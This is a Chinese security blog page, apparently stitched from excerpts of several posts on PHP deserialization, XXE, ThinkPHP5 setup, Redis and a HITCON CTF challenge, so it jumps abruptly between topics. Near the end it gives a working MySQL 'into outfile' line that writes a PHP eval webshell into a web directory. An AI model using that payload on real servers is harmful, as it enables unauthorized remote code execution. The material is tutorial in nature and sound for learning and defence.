自从 Orange 在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门以后,php 反序列化这个漏洞就逐渐升温,没想到后来 2018 年 blackhat 的议题上这个问题再次被提及,利用的还是 Orange 的思路(我只能 orz),到现在 phar:// 反序列化已经成为了各大 CTF 炙手可热的思路,就仿佛 2016 年的 CVE-2016-7124 绕过 __weakup 一样,于是我也把这篇文章提上日程,希望能在对整个 PHP 反序列化漏洞的剖析过程中对其有更深入的理解,也希望读者在读我的文章中能有不一样的体验和收获(如果真的是这样,这将是我莫大的荣幸)
我先不说序列化,大家都看到过 json 数据吧,json 什么样子的?
如图所示:
介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞
如图所示:
既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)
我这里选择的是使用 windows 下的 composer 进行安装,收下首先下载 composer 这个工具,安装完成以后进入我们想要创建项目的文件夹输入下面的命令
composer create-project topthink/think tp5 dev-master --prefer-dist
这样就会在当前目录下形成一个 名为 tp5 的文件夹,这个文件夹中存放的就是 thinkphp5 的基本的框架
application : 应用目录,我们的模型视图控制器都会放在这个文件夹下,这是我们开发的主阵地
public : 这个是我们项目的入口文件,thinkphp 是一个单一入口的框架
thinkphp : 框架的核心目录
这是“一篇文章带你理解漏洞”系列的第一篇文章,漏洞没有特定的介绍顺序,写作的目的主要是希望能将整个漏洞的框架完整的搭建起来(框架也就是所谓的前因后果->纵向,类比迁移->横向,探寻方法->技巧),而不是对漏洞的某一方面的简单陈述,我认为在没有完整的漏洞框架的基础上去单纯地学习怎么利用这种漏洞是没有意义的。
看之前先记住一句话:注入就是格式化字符串漏洞的一种体现
我们都知道,在01 的世界里,很多的漏洞都能归结为格式化字符串漏洞(不管是二进制还是web),二进制中我们能通过格式化字符串漏洞覆盖返回地址等,web中 SQL 注入就是一个非常好的例子,我们在开发者本来认为我们应该插入正常数据的地方插入了sql语句,这就破坏了原本的SQL 语句的格式,从而执行了与原句完全不同含义的SQL 语句达到了攻击者的目的,同理 XSS 在有些情况下的闭合标签的手法也是利用了格式化字符串这种思想,总之,凡是出现注入的地方就有着格式化字符串的影子。
之前一直说 NOSQL ,也看了不少文章对于未授权 NOSQL 的攻击案例,知道大致怎么用,但是自己一直没有尝试好好使用过,感觉对比 MYSQL 而言,我太轻视 NOSQL ,于是这次下定决心以 Redis 作为例子好好玩玩,特此记录备忘。
我们知道 NOSQL 和 MYSQL 的差距还是非常大的,他不再是关系型数据库(也就是说他不在存在表这种东西),那他是什么呢?实际上它是以键值对的形式存放数据的,很像 json 的形式,并且与关系型数据库相比 Redis 能存储的数据类型也多得多,它不仅能存储字符串型的数据,还能存储其他四种类型:list,set,zset(有序),hash (就算是和同类 NOSQL 数据库 memcached 相比他也强大的多,因为 memcached 仅能支持比较单一的 key-value ),它支持数据在硬盘的持久化(EDB 快照或者是 AOF 的形式),还有一个特点就是他的所有操作都是原子性的,也就是说要么成功执行,要么就完全不执行。
几个月之前写的那篇 搭建docker的 CTF getshell环境 由于其中写了一句:“因为这里涉及到权限的问题,比较复杂,我会更新这篇文章或者新开一篇文章”,期间也有很多人问我这个问题,于是还是决定亲自再测试一下,搞一搞这里面权限应该怎么设置,为什么要这样设置,也算是给自己和他人一个交代,谁让我承诺了呢?
权限是操作系统用来限制资源访问的机制,权限一般分为读、写、执行。Linux 系统中每个文件都拥有自己所属用户及所属组,并且通过10个字符表明了那些用户和用户组能有权对该文件进行哪些操作。
原文首发于安全客:https://www.anquanke.com/post/id/162656
hitcon 2018 过去了,作为一个 web 手 one-lin-php-challenge 这道题自然引起了我的很大的兴趣,后期看各路大师傅们的解题姿势,也都是之前说过的一些细小的知识,看看为什么没有利用起来
P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04
不愧是 Orange 巨巨的题,真的惊了。
大概解释一下就是 我们要通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出头6个字符和 @<?php
比对,如果配对成功那么就会包含这个文件,否则就什么都不做
我们知道,这个比赛的 flag 开头是 hitcon 正好是6个字符,有没有关系呢?我们接着往下看
这个利用方式必须要是 root 登录权限,使用 select xxx ito outfile xxx 的形式,这个语句原来是用于快速导出某个表中的数据,或者整个表的,现在我们将我们的n 查询语句导出为 PHP 文件到 web 目录下
Select '<?php eval($_POST[cmd])?>' into outfile 'E:\phpstudy\PHPTutorial\WWW\123123.php';
但是使用这个语句的时候可能会出现几个问题:
(1)权限不够,我刚刚说过了,这个语句的使用必须是 root 权限,如果你非要尝试那只能得到下面的结果:
Access denied for user 'test'@'localhost' (using password: YES)
(2)受到 secure_file_priv 的限制,这个参数可以使用 mysql 命令行查询,查询语句如下:
show variables like '%secure%';